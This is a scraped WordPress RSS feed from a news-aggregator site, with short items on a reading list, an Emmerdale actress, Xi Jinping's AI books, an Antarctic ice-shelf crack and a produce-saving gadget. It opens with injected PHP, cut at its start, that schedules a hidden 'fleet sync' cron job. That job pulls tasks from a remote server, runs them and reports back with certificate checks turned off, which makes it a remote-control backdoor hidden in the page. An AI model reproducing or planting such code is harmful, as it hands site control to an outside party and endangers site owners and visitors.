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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); shelf – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 05 Oct 2018 16:00:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png shelf – Brief News https://briefnews.eu 32 32 Recommended Reading: ‘Jane the Virgin,’ Problematic Faves, and The Second Shelf https://briefnews.eu/recommended-reading-jane-the-virgin-problematic-faves-and-the-second-shelf/ https://briefnews.eu/recommended-reading-jane-the-virgin-problematic-faves-and-the-second-shelf/#respond Fri, 05 Oct 2018 16:00:12 +0000 http://briefnews.eu/recommended-reading-jane-the-virgin-problematic-faves-and-the-second-shelf/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, profiles of the women behind Jane The Virgin and The Second Shelf, one of our finest critics on the perils of contemporary criticism, and thoughts on the horrifying spectacle of Trump’s Mississippi rally.

Olivia Aylmer on The Second Shelf.

A.N. Devers was struck by the disparity between the values of books by men and women, to the author and book dealer decided to do something about it. And thus was born The Second Shelf, a multi-faceted celebration of women writers, launching with a quarterly journal, followed by both online and brick-and-mortar bookshops. At Vanity Fair, Aylmer talks to Devers about her aims with the brand, and the small steps readers can take to curate for themselves:

Devers said it’s possible for any woman to build her own Second Shelf. Step one: choose a woman writer that speaks to you, and start by acquiring her first editions over time, saving up for more expensive additions or asking for them as birthday gifts. “It seems like a nostalgic or precious pursuit, at first,” Devers says. “I think women are very practical with their money. They’re worried about the day-to-day. Book collecting just seems like a little bit of a frivolous endeavor. But when you actually look at the issue at hand—which is that women aren’t collected and women’s voices don’t take as much room physically on shelves—then you see it as a mission and a purpose. And that your pursuit of these books can actually make a difference.”

Kathryn VanArendonk profiles Jennie Snyder Urman.

Jennie Snyder Urman is the show-runner of the critical darling Jane the Virgin, which eschews, in her words, “the signifiers of deep, important television,” the kinds of shows where “you’re going to talk really slow, and there’s going to be a lot of pauses, a lot of men. And they’re going to get really upset a lot.” At Vulture, VanArendonk talks to Urman about her style, her process, and how and why she does things differently:

One of the driving questions of Jane is also one that immediately distinguishes it from the majority of “serious” TV. “When Jane started,” Urman says, “I was really, actively thinking, Can a protagonist be an interesting person if they’re also a really good person? Can their life be complicated if they’re not doing all these terrible things and forced into these extreme situations?” Jane is forced into extreme situations, but her dilemmas come from trying to be a good person in the middle of them. And from the beginning, Urman says, her “biggest watershed moment” about how to navigate from the show’s pilot to its second episode was in realizing she needed to treat Jane’s accidental pregnancy “like the trauma that it was.”

… The showrunner seems too friendly to fit inside the auteur model of the prickly, difficult visionary. The description I hear of Urman, again and again, is that she cares very much about the people who work on her show, and is uncannily good at casting and hiring people who contribute to a collaborative, supportive working environment. Rosenthal says she “specifically hired very sensitive, thoughtful people,” especially in comparison with comedy rooms he’s come from, where people tend to be “loud and aggressive.” “She has an incredible sense for people,” is how Yael Grobglas, who plays Rafael’s ex-wife Petra Solano, explains it, before calling Urman a “genius magician unicorn.” Brett Dier is more blunt: “Jennie did a good job at hiring non-assholes.” If Jane the Virgin is a show about the radical premise that good people can also be interesting, Urman may be a case study in the unusual idea that powerful, creative people can also be parents, caring colleagues, and empathetic leaders.

Wesley Morris on “The Morality Wars.”

Morris’ New York Times essay on problematic artists and cancellation culture is vast and complicated, with a lot to grapple with and, frankly, a few questionable rhetorical flourishes and logical leaps. But if anyone would appreciate the idea of doing more than nodding along in agreement, it’s Morris, who worries that preoccupations with placing art’s intentions and messages first, and quality as art second, does a disservice to both. On Beyoncé, for example, he writes:

Decades of music writing have been less than fair to the work of women — especially black women. So the aversion to criticism of Beyoncé has a ring of historical justice. Her people won’t let you disrespect her. But this is artistry robust enough to withstand — and be illuminated by — serious criticism. Yet she rarely receives much. The imagery gets inspected for its allusions even though there’s a lot more to her work than whom it’s channeling, although some of what’s ingenious about, say, that Coachella performance really is the grandeur of all that it synthesizes. I tend to have little if anything bad to say about her. But criticism isn’t about saying what’s bad — well, not only. It’s partly about situating a work in the world, in your feelings, in your collection. It can take any form and go to any place, the very surprising places an artist like Beyoncé typically tries to take us. Not everybody has to like being there, and saying so shouldn’t feel like you’re risking your life.

The risk should come from the art itself, the discomfort it can produce and whether it can transcend that discomfort. Avoiding that unpleasantness feels natural, but it denies a truth in art, which is our humanity — all of it. Take the most effective sequence — the only one, really — in Spike Lee’s “BlacKkKlansman”: a double viewing of “The Birth of a Nation” that splits the screen between white supremacists and black activists. It’s as intelligent and rousing an argument for engagement with unpleasant art as I’ve seen in a movie.

Adam Serwer on MAGA cruelty. 

There are times where it feels as though we’ve been so numbed by the vile coarseness of this President and the sheer vulgarity of his presence that we can no longer be shocked, and then he and his cult will do something so horrifying that it turns out we’re still capable of that emotion. At least, that was this writer’s takeaway from Trump’s Tuesday night “rally” in Mississippi, at which he mocked and imitated Dr. Christine Blasey Ford’s testimony of her sexual misconduct at the hands of his Supreme Court nominee Brett Kavanaugh. But at The Atlantic, Serwer argues that we shouldn’t be shocked; this is the guiding principle of this entire movement.

The laughter undergirds the daily spectacle of insincerity, as the president and his aides pledge fealty to bedrock democratic principles they have no intention of respecting. The president who demanded the execution of five black and Latino teenagers for a crime they didn’t commit decrying “false accusations,” when his Supreme Court nominee stands accused; his supporters who fancy themselves champions of free speech meet references to Hillary Clinton or a woman whose only crime was coming forward to offer her own story of abuse with screams of “Lock her up!” The political movement that elected a president who wanted to ban immigration by adherents of an entire religion, who encourages police to brutalize suspects, and who has destroyed thousands of immigrant families for violations of the law less serious than those of which he and his coterie stand accused, now laments the state of due process.

This isn’t incoherent. It reflects a clear principle: Only the president and his allies, his supporters, and their anointed are entitled to the rights and protections of the law, and if necessary, immunity from it. The rest of us are entitled only to cruelty, by their whim. This is how the powerful have ever kept the powerless divided and in their place, and enriched themselves in the process.

                            

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]]> https://briefnews.eu/recommended-reading-jane-the-virgin-problematic-faves-and-the-second-shelf/feed/ 0 Emmerdale star Emma Atkins fears Charity Dingle will be CUT: 'There's a shelf life' https://briefnews.eu/emmerdale-star-emma-atkins-fears-charity-dingle-will-be-cut-theres-a-shelf-life/ https://briefnews.eu/emmerdale-star-emma-atkins-fears-charity-dingle-will-be-cut-theres-a-shelf-life/#respond Sat, 24 Feb 2018 02:47:34 +0000 http://briefnews.eu/emmerdale-star-emma-atkins-fears-charity-dingle-will-be-cut-theres-a-shelf-life/

The actress, who has starred in for 18 years, confessed that Charity’s behaviour could lead to her departure.

Over the years, fans of the long-running soap have watched as the barmaid has tried to con several men out of their fortune and sold her own son.

But in recent episodes, she has shown a much softer side as she embarks on a relationship with Vanessa Woodfield (played by Michelle Hardwick).

However Emma isn’t convinced their happiness will last and worries that Charity will end up in trouble again.

“I’m blessed with really good dialogue,” she said.

“Her humour runs throughout and it’s so important when you’re playing such a b***h.

“I’m so lucky with the writing because there could come a point where you think we’ve just had enough now, how much of a b***h can you be before there’s a shelf life?”

Emma went on to add to The Sun: “I’m sure there will be a shelf life to my character at some point, but right now I’m blessed with the fact that humour is a big part of life in general.

“When you’re having huge traumas in your life, sat there with a cup of tea crying and then laughing, we’ve all been there.”

Speaking about Charity’s romance with Vanessa, the 42-year-old insisted their relationship is “genuine and loving”.

“Laughter is an absolute tonic,” she said. “I think that’s the beauty of what she’s found with Vanessa.

“There’s no manipulation going on, it’s actually genuine and kind and loving.

“She’s perhaps not been used to that. She’s often been the unkind one, and she’s found herself being a bit nicer. She can’t believe it.”

Thursday night’s instalment of Emmerdale saw Charity and Vanessa agree to give their relationship a go after the vet tried to make The Woolpack barmaid jealous on a night out.

Emmerdale airs weekdays on ITV at 7pm.

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]]> https://briefnews.eu/emmerdale-star-emma-atkins-fears-charity-dingle-will-be-cut-theres-a-shelf-life/feed/ 0 China’s president had 2 books about artificial intelligence on his shelf in his New Year speech https://briefnews.eu/chinas-president-had-2-books-about-artificial-intelligence-on-his-shelf-in-his-new-year-speech/ https://briefnews.eu/chinas-president-had-2-books-about-artificial-intelligence-on-his-shelf-in-his-new-year-speech/#respond Wed, 03 Jan 2018 12:57:40 +0000 http://briefnews.eu/chinas-president-had-2-books-about-artificial-intelligence-on-his-shelf-in-his-new-year-speech/ Xi JingpinYouTube/CCTV English

  • Chinese President Xi Jinping has “The Master Algorithm” and “Augmented: Life in the Smart Lane” on his book shelf.
  • The books describe some of the basic principles of machine learning and paint a vision for the future.
  • China wants to become a world leader in the field of artificial intelligence by 2025.

Every new year, China’s president Xi Jinping greets his nation with a video recorded from his office. Behind the desk he sits at is an impressive book shelf that reveals what the world leader has been reading; it gets closely analysed every year, as we first saw via Quartz.

This year, there were at least two books on his shelf about artificial intelligence (AI). They were Pedro Domingo’s “The Master Algorithm: How the Quest for the Ultimate Learning Machine Will Remake Our World” and Brett King’s “Augmented: Life in the Smart Lane”.

Released in 2015, “The Master Algorithm” describes how machine learning is remaking business, politics, science and war. It details the various methods of machine learning and explains them by comparing them to neural connections in the brain, logic, and probability, among other things.

The book also describes a fictional master algorithm, which develops a perfect understanding of how the world and the people within it work; the master algorithm is a “universal learner capable of deriving all knowledge from data,” according to the book’s synopsis.

The other book, “Augmented: Life in the Smart Lane,” looks at the new “augmented age” and explains how it is going to cause disruption and shift the way we as humans behave. It also delves into how robots will replace human jobs and whether AIs will subsume us as inferior intelligences.

The fact that China’s president has these books on his book shelf is interesting and it could be interpreted as a signal that China is serious about its bullish AI ambitions.

China published its AI strategy in July and said that it wanted to be the world leader in AI by 2025 and it wants to make the domestic industry worth $ 150 billion (£111 billion) by 2030.

The Chinese government is building a $ 2 billion (£1.5 billion) AI research park as it looks to become a world leader in the field by 2025, Reuters reported on Wednesday, citing local news agency Xinhua.

Russian president Vladimir Putin believes that in the future, the country that leads in AI could dominate the world, while tech billionaire Elon Musk thinks AI will be the most likely cause of WWIII (although his comments should be taken with a pinch of salt).

Eric Schmidt, the executive chairman of Google parent company Alphabet, warned in November that China is poised to overtake the US in the field of AI if the US government doesn’t act soon.

Speaking at the Artificial Intelligence and Global Security Summit, the former Google CEO said: “Trust me, these Chinese people are good.”

While the US has Google, Facebook, Microsoft, IBM, OpenAI and others, China has its own enormous tech giants aggressively pursuing AI research. Examples include Alibaba, Baidu, and Tencent, to name but a few.

“It’s pretty simple,” said Schmidt. “By 2020 they will have caught up. By 2025 they will be better than us. And by 2030 they will dominate the industries of AI. Just stop for a sec. The [Chinese] government said that.”

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]]> https://briefnews.eu/chinas-president-had-2-books-about-artificial-intelligence-on-his-shelf-in-his-new-year-speech/feed/ 0 New crack found in Antarctica ice shelf after 1 trillion ton iceberg breaks free https://briefnews.eu/new-crack-found-in-antarctica-ice-shelf-after-1-trillion-ton-iceberg-breaks-free/ https://briefnews.eu/new-crack-found-in-antarctica-ice-shelf-after-1-trillion-ton-iceberg-breaks-free/#respond Thu, 20 Jul 2017 22:05:36 +0000 http://briefnews.eu/new-crack-found-in-antarctica-ice-shelf-after-1-trillion-ton-iceberg-breaks-free/

An ice shelf in Antarctica is already showing a new crack, just a week after an iceberg dramatically broke free from the structure, according to researchers.

The new rift was spotted by scientists from Project MIDAS who have been closely monitoring the Larsen C ice shelf and who first detected the calving of iceberg A68, which broke free last week.

The crack was found using Sentinel-1 interferometry data gathered Tuesday, researchers wrote in a Project MIDAS statement.

“A new rift appears to be extending northwards… and may result in further ice shelf area loss,” the statement reads.

“We see a new short feature of around 6 kilometers (3.7 miles) heading north from the complex region of cracks that formed just before the iceberg broke away,” said Adrian Luckman, a professor of glaciology at Swansea University, who is leading the MIDAS research, as quoted by Deutsche Welle.

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The researchers said although the split will likely turn towards the shelf’s edge, there is a risk that it will continue on to Bawden Ice Rise, which it describes as a “crucial point of stabilization for Larsen C Ice Shelf.”

However, Luckman said, there is “no cause for concern” yet, as the tip of the crack is currently stuck in a suture zone – a region of softer ice – and is unlikely to be spreading for some time.

It comes just a week after the one trillion ton 6,000 square kilometer (2,200 square mile) A68 iceberg broke away from the Larsen C ice shelf. The iceberg, the size of the US state of Delaware, was one of the largest to ever be recorded. The departure of the iceberg from Larsen C has left the ice shelf 12 percent smaller in area.

Although the fissure which caused the iceberg to break free from Larsen C had been visible since the 1980s, A68 only began breaking free in January 2017. It is now adrift in the Weddell Sea.

Many have speculated whether human-induced climate change caused A68 to break-off from the ice shelf, although MIDAS researcher Bryn Hubbard, director of the center of glaciology at Aberystwyth University, said it’s impossible to tell.

“Asking if it’s linked to global warming is a bit like asking if a given storm surge, or a given warm week, is linked to global warming,” he said, according to Deutsche Welle. He added that a definitive answer cannot be given because icebergs breaking from ice shelves is a “completely normal process.”

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]]> https://briefnews.eu/new-crack-found-in-antarctica-ice-shelf-after-1-trillion-ton-iceberg-breaks-free/feed/ 0 Everyone can extend the shelf life of their fruits and vegetables with this simple kitchen tool https://briefnews.eu/everyone-can-extend-the-shelf-life-of-their-fruits-and-vegetables-with-this-simple-kitchen-tool/ https://briefnews.eu/everyone-can-extend-the-shelf-life-of-their-fruits-and-vegetables-with-this-simple-kitchen-tool/#respond Mon, 08 May 2017 01:34:23 +0000 http://briefnews.eu/everyone-can-extend-the-shelf-life-of-their-fruits-and-vegetables-with-this-simple-kitchen-tool/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

30541641024195p__2Bed Bath & BeyondSpringtime means that those delicious perishables like strawberries, carrots, bananas, lettuce, pineapple, and more are all in-season, and therefore less expensive and likely more tasty than they are at any other time.

But many of us skip buying an avocado or blueberries because we know that unless we definitely eat all of it within the next few days, we’ll be wasting our money.

I buy groceries for myself alone, and it’s not an easy task where perishables are concerned.

Lately, I’ve been skipping the healthier options that I actually like to eat, but not because I’d prefer to have something more packed with sodium, fat, and sugar, but because I hate to come home and literally see my money rotting away in the form of spinach leaves. 

Bluapple was scientifically engineered to slow the spoilage of fruits and vegetables, and it’s actually a pretty simple mechanism.

Your produce ripens because your veggies and fruits naturally give off ethylene gas to coordinate uniform ripening. So once you put them in a confined space, like a drawer in your refrigerator, the trapped ethylene gas only continues to speed up the ripening process. What Bluapple does is absorb that ethylene gas and slow the process down. It’ll be effective for about three months in a typical home refrigerator or storage container. It won’t ever “wear out” — instead, it’ll just continue to absorb the ethylene until it has reached its capacity. Simply throw it in with the rest of the produce and let the ethylene absorption work for you. 

Perishables like avocados and salad mix are hard to justify buying when their shelf life is so short, but Bluapple will help keep them fresh for longer so you can eat healthy whenever you want.

For $ 10, it’s a great investment. If it doesn’t work for you, which would be at odds with the majority of users, then you haven’t really lost much. But if it works, by Bluapple’s calculations, it can save the average household up to $ 600 a year. Not to mention that being able to hold onto produce for potentially as long as more processed options might mean that more families and single individuals can truly afford to eat healthily. Plus, it’s never fun to feel like your meals are dictated by the rapid decline of what you’ve bought to enjoy — if it’s possible to have more control over your choices, that should extend ideally to being able to eat what you like exactly when you want it.

If you think you’d like using a Bluapple, the company makes a one-year refill kit that’s meant to round out the Bluapple ethylene gas-management line, which basically just means customers can reuse their Bluapples and cut down on how many they send to the landfill. Of the 355 customer reviews left, it has a solid 4.8 stars. 

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